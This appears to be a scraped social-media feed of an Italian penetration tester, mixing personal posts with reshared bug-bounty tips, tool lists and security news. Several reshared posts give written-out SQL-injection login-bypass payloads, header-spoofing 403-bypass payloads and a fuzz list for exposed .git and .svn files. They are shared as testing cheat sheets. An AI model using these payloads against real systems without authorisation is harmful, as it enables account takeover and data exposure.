Luca Del Vecchio

Security Consultant e Penetration Tester presso DGS S.p.A.

[Luca Del Vecchio @DelVecchioLuca]

Rivitalizzare i classici con tecnologia moderna e coinvolgimento della comunità preserva il patrimonio videoludico per tutti.
https://t.co/SxDGASBfxh

[Aadit Sheth @aaditsh]

This is literally the only video you need to understand how transformer-based LLMs work

[Luca Del Vecchio @DelVecchioLuca]

@Gianluc55986282 @sonoclaudio @Meta Si ma tu il libro lo hai comprato, e quindi pagato i diritti di utilizzo. Qui il problema che sono libri squisiti senza pagare i diritti.

[Luca Del Vecchio @DelVecchioLuca]

Un altro bell'esempio in cui la condivisione dei dati e della conoscenza può rendere più sicura un economia emergente #spaceeconomy
https://t.co/4zaSkqPSWL

[Harshleen @0xharshleen]

Complete list of Intrusions / Attacks

[Tom Dörr @tom_doerr]

"A fast TCP/UDP tunnel over HTTP"

[Clandestine @akaclandestine]

GitHub - loxy0dev/RedTiger-Tools: RedTiger-Tools is a free multi-tool with many features in the areas of Cybersecurity, Pentesting, OSINT, Network Scanning, Discord and Hacking. https://t.co/6oaMp1MHNL

[Harshleen @0xharshleen]

Active Directory Hacking - Public Resources🔍📝

Link 1: https://t.co/jzxuqLSBUX

Link 2: https://t.co/pqilLCsrAl

Link 3: https://t.co/6arikvgQko

Link 4: https://t.co/6arikvgQko

[Muqsit 𝕏 @mqst_]

👾 Game Hacking: A Comprehensive Guide on Game Hacking

Part 0: https://t.co/xK4MAo1qwU
Part 1: https://t.co/upl5n5zQp5
Part 2: https://t.co/sri4iuQkTE
Part 3: https://t.co/UKsoGXIkaq
Part 4: https://t.co/jszNkTVgHH
Part 5: https://t.co/i6I8G2sASZ

#infosec #gamehacking

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

📚 Extract API endpoints from javascript files

Here’s a quick one-liner for extracting API endpoints from javascript files:

cat file.js | grep -aoP "(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))" | sort -u

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[Harshleen @0xharshleen]

🛡️COMPLETE BUG BOUNTY TOOL LIST🛡️

🛠️ Subdomain & DNS Enumeration:

🔍 dnscan: https://t.co/M3IVybue4e
🔍 Knockpy: https://t.co/8fiqZhZ56m
🔍 Sublist3r: https://t.co/lQaV9bB0TS
🔍 massdns: https://t.co/1JXGfs0Z5Y

🕵️ Port Scanning & Network Mapping:
🌐 nmap: https://t.co/LbuG0261u8
🌐 masscan: https://t.co/Cpmf7IDFFR

📸 Screenshot Tools:
📸 EyeWitness: https://t.co/WluCxCqj9b

🗂️ Directory Fuzzing & Brute Forcing:
🗂️ DirBuster: https://t.co/yqLLdrrT1s
🗂️ dirsearch: https://t.co/h1UFI62GUk

🔒 GitHub & Secrets Scanning:
🔑 Gitrob: https://t.co/Tck7kJhsTC
🔑 git-secrets: https://t.co/DVfo9WnZK5

🛡️ Cloud Bucket Enumeration:
🛡️ sandcastle: https://t.co/JbEXv4WesH
🛡️ bucketfinder: https://t.co/KffkXehwaI

🕵️ Google Hacking & Dorking:
🔍 GoogD0rker: https://t.co/QSwGwPcCp2
⏳ Wayback Machine: https://t.co/uvWf1dLjKm
⏳ waybackurls: https://t.co/BftPQbefzu

🔗 Web Vulnerability Scanners:
🎯 Sn1per: https://t.co/ogJtCnjwmc
🔎 XRay: https://t.co/IosdwSmeAD
🎯 wfuzz: https://t.co/M0O80jihIS
🎯 patator: https://t.co/zSd7qU7GDA
🎯 datasploit: https://t.co/JdYjHXPLUx

💻 Password & Authentication Attack Tools:
🔑 hydra: https://t.co/NSz9VPAE45
🔐 changeme: https://t.co/o3EaryDUBB

📱 Mobile Security Testing:
📱 MobSF: https://t.co/mldEh739RC
📱 Apktool: https://t.co/tvQhxQgvme
📱 dex2jar: https://t.co/iDOA5AgYfB

💾 SQL Injection & Exploitation Tools:
💾 sqlmap: https://t.co/Wu4mrClNO0

📄 XXE (XML External Entity) Exploits:
📄 oxmlxxe: https://t.co/qekSK5hNZl
📄 XXE Injector: https://t.co/ejGd4JLorG

🔑 JWT (JSON Web Token) Tools:
🔑 The JSON Web Token Toolkit: https://t.co/YQc6ZCZ0RA

🚨 SSRF (Server-Side Request Forgery) Tools:
🚨 ground-control: https://t.co/HPLOBMSjwE
🚨 ssrfDetector: https://t.co/agPBUnMXwL

📂 LFI (Local File Inclusion) Tools:
📂 LFISuit: https://t.co/F2gRmbkWJC

🔍 GitHub History & DVC Scanners:
🛠️ GitTools: https://t.co/UrKiu18IAm
🛠️ dvcs-ripper: https://t.co/Ha3EABrabd
🛡️ Subdomain Takeover:
🛡️ tko-subs: https://t.co/USKLuuwn3v
🛡️ HostileSubBruteforcer: https://t.co/SCID4PZhpY

🏁 Race Condition Testing:
🏁 Race the Web: https://t.co/vB2Cg7KQks

📦 Deserialization Exploits:
📦 ysoserial: https://t.co/mm6u7UESLw
📦 PHPGGC: https://t.co/I3IL5jqjaS
🌐 CORS (Cross-Origin Resource Sharing) Testing:
🌐 CORStest: https://t.co/VWUBcJxenC

🔍 JavaScript Dependency Scanners:
📜 retire-js: https://t.co/cNbWZZP0F4

💣 Exploitation Tools & Exploit Databases:
💣 getsploit: https://t.co/mKfEJd7Hj5
💣 Findsploit: https://t.co/sO2iC51x1E

🛡️ Backup File Scanner:
📂 bfac: https://t.co/grQYuF3BVL

🖥️ WordPress Scanners:
🖥️ WPScan: https://t.co/MnA5JqJVrL
🖥️ CMSMap: https://t.co/6h8DxAEiWn

🌐 OSINT Tools:
🔍 Amass: https://t.co/IY4z90gkzj

🔧 Extra Tools:
https://t.co/IG3i6R4b39

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🧑‍💻CloakQuest3r - Uncover the true IP address of websites safeguarded by Cloudflare & Others

📄CloakQuest3r is a powerful Python tool meticulously crafted to uncover the true IP address of websites safeguarded by Cloudflare and other alternatives, a widely adopted web security and performance enhancement service. Its core mission is to accurately discern the actual IP address of web servers that are concealed behind Cloudflare's protective shield. Subdomain scanning is employed as a key technique in this pursuit. This tool is an invaluable resource for penetration testers, security professionals, and web administrators seeking to perform comprehensive security assessments and identify vulnerabilities that may be obscured by Cloudflare's security measures.

📒Checkout on Github
https://t.co/dm67tEWyAc

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🚨 Fuzz list for GIT and SVN files 🚨

Here’s a quick tip to find git and svn files using this small but quick fuzz list:

/.git
/.git-rewrite
/.git/HEAD
/.git/config
/.git/index
/.git/logs/
/.git_release
/.gitattributes
/.gitconfig
/.gitignore
/.gitk
/.gitkeep
/.gitmodules
/.gitreview
/.svn
/.svn/entries
/.svnignore

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[Harshleen @0xharshleen]

Cybersecurity GPTs

[7h3h4ckv157 @7h3h4ckv157]

Shodan Mindmap - For Hacking!

Source: https://t.co/nrVBRfA7KD

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🔰 403 Bypass Payloads 🔰

Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Request-Uri: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 443
X-Forwarded-Port: 4443
X-Forwarded-Port: 80
X-Forwarded-Port: 8080
X-Forwarded-Port: 8443
X-Forwarded-Scheme: http
X-Forwarded-Scheme: https
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-True-IP: 127.0.0.1

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🔰 Authentication Bypass - Payloads

'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[Sam Curry @samwcyo]

New writeup from @_specters_ and I: we're finally allowed to disclose a vulnerability reported to Kia which would've allowed an attacker to remotely control almost all vehicles made after 2013 using only the license plate.

Full disclosure:
https://t.co/e2EwvUMgqw

[The Tor Project @torproject]

Big news! The @TorProject and @Tails_live are joining forces in our fight against surveillance and censorship. By merging operations, we’re making it easier to collaborate and build even better tools for privacy and digital freedom. Learn more: https://t.co/GFu4QIh3gc
#Privacy #Anonymity #TorxTails